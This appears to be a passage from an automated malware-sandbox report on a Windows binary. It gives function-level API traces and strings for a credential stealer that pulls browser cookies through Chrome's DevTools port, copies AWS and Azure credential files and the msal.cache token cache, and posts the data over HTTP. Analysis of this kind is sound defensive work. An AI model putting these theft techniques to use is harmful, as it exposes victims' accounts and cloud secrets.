Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 0i$NtQueryInformationProcess$Pg$Pi
API String ID: 2238633743-3059880059
Opcode ID: 15ce3bfc4f2053205b53bd764d0ecd5d36b7067bb5ab24a185fd158ae7ab0046
Instruction ID: 20327dc4cfa9ec53dac909fb0aedd6846877a7d97966d0fff34204e4d28d6827
Opcode Fuzzy Hash: 15ce3bfc4f2053205b53bd764d0ecd5d36b7067bb5ab24a185fd158ae7ab0046
Instruction Fuzzy Hash: 85A11CB65187009FC785DFE8FC8899E7BB9B74D703B90861AB909E3670D6349942CF60

Function 00785150 Relevance: 56.6, APIs: 22, Strings: 10, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Part of subcall function 00784800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0078483A
Part of subcall function 00784800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00784851
Part of subcall function 00784800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00784868
Part of subcall function 00784800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00784889
Part of subcall function 00784800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00784899

lstrlenA.KERNEL32(00000000), ref: 007851E3

Part of subcall function 00799030: CryptBinaryToStringA.CRYPT32(00000000,007851D4,40000001,00000000,00000000,?,007851D4), ref: 00799050

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00785257
StrCmpCA.SHLWAPI(?,00EE3A60), ref: 00785275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00785390
HttpOpenRequestA.WININET(00000000,00EE39A0,?,00EE3090,00000000,00000000,00400100,00000000), ref: 007853F4

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,00EE3940,00000000,?,00EDC890,00000000,?,007A1B0C,00000000,?,0079541F), ref: 00785787
lstrlenA.KERNEL32(00000000), ref: 0078579B
GetProcessHeap.KERNEL32(00000000,?), ref: 007857AC
HeapAlloc.KERNEL32(00000000), ref: 007857B3
lstrlenA.KERNEL32(00000000), ref: 007857C8
memcpy.MSVCRT(?,00000000,00000000), ref: 007857DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 007857F9
memcpy.MSVCRT(?), ref: 00785806
lstrlenA.KERNEL32(00000000), ref: 00785818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00785831
memcpy.MSVCRT(?), ref: 00785841
lstrlenA.KERNEL32(00000000,?,?), ref: 0078585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00785872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0078589D
InternetCloseHandle.WININET(00000000), ref: 00785901
InternetCloseHandle.WININET(00000000), ref: 0078590E
InternetCloseHandle.WININET(00000000), ref: 00785918

Strings

", xrefs: 00785614
@9, xrefs: 0078572C
------, xrefs: 0078568B
--, xrefs: 007852D0
", xrefs: 007854D2
------, xrefs: 00785549
`:, xrefs: 00785267
", xrefs: 00785756
------, xrefs: 00785407
------, xrefs: 007852E7

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------$@9$`:
API String ID: 2744873387-2246354320
Opcode ID: 9756094f57812242269d171ebb3c2527a4ac4bb94c07245441e27cc3ca323805
Instruction ID: f684d7b30ebe85e5e1cd1f553c3d92d62ec6d1105ac1ecbd7087f6d3cd55fca5
Opcode Fuzzy Hash: 9756094f57812242269d171ebb3c2527a4ac4bb94c07245441e27cc3ca323805
Instruction Fuzzy Hash: 63320EB1921218FBDF14EB90EC65FEEB379BF54700F404599B10666092DF386A44CFA5

Function 007859B0 Relevance: 49.5, APIs: 19, Strings: 9, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Part of subcall function 00784800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0078483A
Part of subcall function 00784800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00784851
Part of subcall function 00784800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00784868
Part of subcall function 00784800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00784889
Part of subcall function 00784800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00784899

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00785A48
StrCmpCA.SHLWAPI(?,00EE3A60), ref: 00785A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00785BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00EE3AE0,00000000,?,00EDC890,00000000,?,007A1B4C), ref: 00785EC1
lstrlenA.KERNEL32(00000000), ref: 00785ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00785EE3
HeapAlloc.KERNEL32(00000000), ref: 00785EEA
lstrlenA.KERNEL32(00000000), ref: 00785EFF
memcpy.MSVCRT(?,00000000,00000000), ref: 00785F16
lstrlenA.KERNEL32(00000000), ref: 00785F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00785F41
memcpy.MSVCRT(?), ref: 00785F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00785F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00785F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00785F9C
InternetCloseHandle.WININET(00000000), ref: 00786000
InternetCloseHandle.WININET(00000000), ref: 0078600D
HttpOpenRequestA.WININET(00000000,00EE39A0,?,00EE3090,00000000,00000000,00400100,00000000), ref: 00785C48

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

InternetCloseHandle.WININET(00000000), ref: 00786017

Strings

------, xrefs: 00785C5B
------, xrefs: 00785AE6
S`y, xrefs: 007860CA
", xrefs: 00785E66
------, xrefs: 00785D9C
", xrefs: 00785D25
:, xrefs: 00785E3D
S`y, xrefs: 00785A0F, 007860B7, 00785A97, 00785AA0, 00785B0E, 00785B85, 00785C83, 00785DC4, 00785B11, 00785B88, 00785C86, 00785DC7
`:, xrefs: 00785A58

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$S`y$S`y$`:$:
API String ID: 1406981993-3722254389
Opcode ID: 7890a6e4545d6fa248f0d20adba12c1c50b9c5c4476c49605eb22d65d846c9b8
Instruction ID: 7a0b883f5a068d4bd7002b8ef9dc5c93aba7450bec6251db74647a18cd480216
Opcode Fuzzy Hash: 7890a6e4545d6fa248f0d20adba12c1c50b9c5c4476c49605eb22d65d846c9b8
Instruction Fuzzy Hash: 9212FEB1921118FBCF15EBA0ECA9FEEB379BF14700F404599F10666091EF346A49CBA5

Function 0078CFF0 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

Part of subcall function 00798CF0: GetSystemTime.KERNEL32(?,00EDC770,007A05B6,?,?,?,?,?,?,?,?,?,007849B3,?,00000014), ref: 00798D16

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0078D083
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0078D1C7
RtlAllocateHeap.NTDLL(00000000), ref: 0078D1CE
lstrcatA.KERNEL32(?,00000000,00EDA9F0,007A156C,00EDA9F0,007A1568,00000000), ref: 0078D308
lstrcatA.KERNEL32(?,007A1570), ref: 0078D317
lstrcatA.KERNEL32(?,00000000), ref: 0078D32A
lstrcatA.KERNEL32(?,007A1574), ref: 0078D339
lstrcatA.KERNEL32(?,00000000), ref: 0078D34C
lstrcatA.KERNEL32(?,007A1578), ref: 0078D35B
lstrcatA.KERNEL32(?,00000000), ref: 0078D36E
lstrcatA.KERNEL32(?,007A157C), ref: 0078D37D
lstrcatA.KERNEL32(?,00000000), ref: 0078D390
lstrcatA.KERNEL32(?,007A1580), ref: 0078D39F
lstrcatA.KERNEL32(?,00000000), ref: 0078D3B2
lstrcatA.KERNEL32(?,007A1584), ref: 0078D3C1
lstrcatA.KERNEL32(?,00000000), ref: 0078D3D4
lstrcatA.KERNEL32(?,007A1588), ref: 0078D3E3

Part of subcall function 0079AB30: lstrlenA.KERNEL32(00000000,?,?,00795DA4,007A0ADF,007A0ADB,?,?,00796DB6,00000000,?,00ED7128,?,007A10F4,?,00000000), ref: 0079AB3B
Part of subcall function 0079AB30: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AB95

lstrlenA.KERNEL32(?), ref: 0078D42A
lstrlenA.KERNEL32(?), ref: 0078D439
memset.MSVCRT ref: 0078D488

Part of subcall function 0079AD80: StrCmpCA.SHLWAPI(00000000,007A1568,0078D2A2,007A1568,00000000), ref: 0079AD9F

DeleteFileA.KERNEL32(00000000), ref: 0078D4B4

Strings

X, xrefs: 0078D006

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID: X
API String ID: 1973479514-1209549073
Opcode ID: e7279b590751a335e6ba36975786cabcba7ee756e89b0af7240fba468fef0a13
Instruction ID: 1de5c3ddda98a7ff37c2845b867bc74a8a50ce8de9019946e1dac908cef62497
Opcode Fuzzy Hash: e7279b590751a335e6ba36975786cabcba7ee756e89b0af7240fba468fef0a13
Instruction Fuzzy Hash: 96E10FB1915208EBCF04EBE0ED9AEEE7379BF54301F504554F106760A1DE39AE09CBA6

Function 00789BE0 Relevance: 35.1, APIs: 15, Strings: 5, Instructions: 141
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00789A50: InternetOpenA.WININET(007A0AF6,00000001,00000000,00000000,00000000), ref: 00789A6A

memset.MSVCRT ref: 00789C33
lstrcatA.KERNEL32(?,ws://localhost:9229), ref: 00789C48
lstrcatA.KERNEL32(?,00000000), ref: 00789C5E
connect_to_websocket.CHROME(?,00000000), ref: 00789C76
memset.MSVCRT ref: 00789C9A
lstrcatA.KERNEL32(?,cookies), ref: 00789CAF
lstrcatA.KERNEL32(?,007A12C4), ref: 00789CC1
lstrcatA.KERNEL32(?,?), ref: 00789CD5
lstrcatA.KERNEL32(?,007A12C8), ref: 00789CE7
lstrcatA.KERNEL32(?,?), ref: 00789CFB
lstrcatA.KERNEL32(?,.txt), ref: 00789D0D
lstrlenA.KERNEL32(00000000), ref: 00789D17
lstrlenA.KERNEL32(00000000), ref: 00789D26

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

memset.MSVCRT ref: 00789D7E
free_result.CHROME(00000000), ref: 00789D8B

Strings

ws://localhost:9229, xrefs: 00789C3C
.txt, xrefs: 00789D01
/devtools, xrefs: 00789C0B
localhost, xrefs: 00789BF5
cookies, xrefs: 00789CA3

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$lstrlen$InternetOpenconnect_to_websocketfree_resultlstrcpy
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 2548846003-3542011879
Opcode ID: 57d2cdae2a9f96230556dde6b141b0708a95b244086ae8f71e5ec92b7edf999b
Instruction ID: 1d2af6d188a5340cc23c688e706127b1f0dd4e2af90a8a1ff6de1a73a0b99a3e
Opcode Fuzzy Hash: 57d2cdae2a9f96230556dde6b141b0708a95b244086ae8f71e5ec92b7edf999b
Instruction Fuzzy Hash: 845130B1950608EBDB14EBE4EC59FEE7738BB44302F404558F106A7191EF78A649CF61

Function 00794FC0 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00794FD7

Part of subcall function 00798F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00798F9B

lstrcatA.KERNEL32(?,00000000), ref: 00795000
lstrcatA.KERNEL32(?,\.azure\), ref: 0079501D

Part of subcall function 00794B60: wsprintfA.USER32 ref: 00794B7C
Part of subcall function 00794B60: FindFirstFileA.KERNEL32(?,?), ref: 00794B93

memset.MSVCRT ref: 00795063
lstrcatA.KERNEL32(?,00000000), ref: 0079508C
lstrcatA.KERNEL32(?,\.aws\), ref: 007950A9

Part of subcall function 00794B60: StrCmpCA.SHLWAPI(?,007A0FC4), ref: 00794BC1
Part of subcall function 00794B60: StrCmpCA.SHLWAPI(?,007A0FC8), ref: 00794BD7
Part of subcall function 00794B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00794DCD
Part of subcall function 00794B60: FindClose.KERNEL32(000000FF), ref: 00794DE2

memset.MSVCRT ref: 007950EF
lstrcatA.KERNEL32(?,00000000), ref: 00795118
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00795135

Part of subcall function 00794B60: wsprintfA.USER32 ref: 00794C00
Part of subcall function 00794B60: StrCmpCA.SHLWAPI(?,007A08D3), ref: 00794C15
Part of subcall function 00794B60: wsprintfA.USER32 ref: 00794C32
Part of subcall function 00794B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00794C6E
Part of subcall function 00794B60: lstrcatA.KERNEL32(?,00EDA8E0,?,000003E8), ref: 00794C9A
Part of subcall function 00794B60: lstrcatA.KERNEL32(?,007A0FE0), ref: 00794CAC
Part of subcall function 00794B60: lstrcatA.KERNEL32(?,?), ref: 00794CC0
Part of subcall function 00794B60: lstrcatA.KERNEL32(?,007A0FE4), ref: 00794CD2
Part of subcall function 00794B60: lstrcatA.KERNEL32(?,?), ref: 00794CE6
Part of subcall function 00794B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00794CFC
Part of subcall function 00794B60: DeleteFileA.KERNEL32(?), ref: 00794D81

memset.MSVCRT ref: 0079517B

Strings

\.aws\, xrefs: 0079509D
\.azure\, xrefs: 00795011
Azure\.IdentityService, xrefs: 0079513B
\.IdentityService\, xrefs: 00795129
*.*, xrefs: 007950B4
*.*, xrefs: 00795028
Azure\.aws, xrefs: 007950AF
Azure\.azure, xrefs: 00795023
msal.cache, xrefs: 00795140

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-974132213
Opcode ID: dd8ec68674bc7e7cf7962f4ac4f2d711b8a9bc12d15166df2b1cd60e2a1bb48c
Instruction ID: f8c4b7a99a909ef9c9298dec8572c5e85bc2ffd8fad8abc5f56ddd2e75cdaa05
Opcode Fuzzy Hash: dd8ec68674bc7e7cf7962f4ac4f2d711b8a9bc12d15166df2b1cd60e2a1bb48c
Instruction Fuzzy Hash: 094181F6980308A7DF14F7B0EC4BFDD73386B95701F404954B249A5091EEB8A7D98B92

Function 007848D0 Relevance: 32.0, APIs: 11, Strings: 7, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Part of subcall function 00784800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0078483A
Part of subcall function 00784800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00784851
Part of subcall function 00784800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00784868
Part of subcall function 00784800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00784889
Part of subcall function 00784800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00784899

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00784965
StrCmpCA.SHLWAPI(?,00EE3A60), ref: 0078498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00784B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,007A0DDE,00000000,?,?,00000000,?,",00000000,?,00EE3930), ref: 00784E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00784E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00784E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00784E99
InternetCloseHandle.WININET(00000000), ref: 00784EFD
InternetCloseHandle.WININET(00000000), ref: 00784F15
HttpOpenRequestA.WININET(00000000,00EE39A0,?,00EE3090,00000000,00000000,00400100,00000000), ref: 00784B65

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

InternetCloseHandle.WININET(00000000), ref: 00784F1F

Strings

", xrefs: 00784D83
------, xrefs: 00784A0D
------, xrefs: 00784CB9
09, xrefs: 00784D5A
", xrefs: 00784C42
------, xrefs: 00784B78
`:, xrefs: 0078497F

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
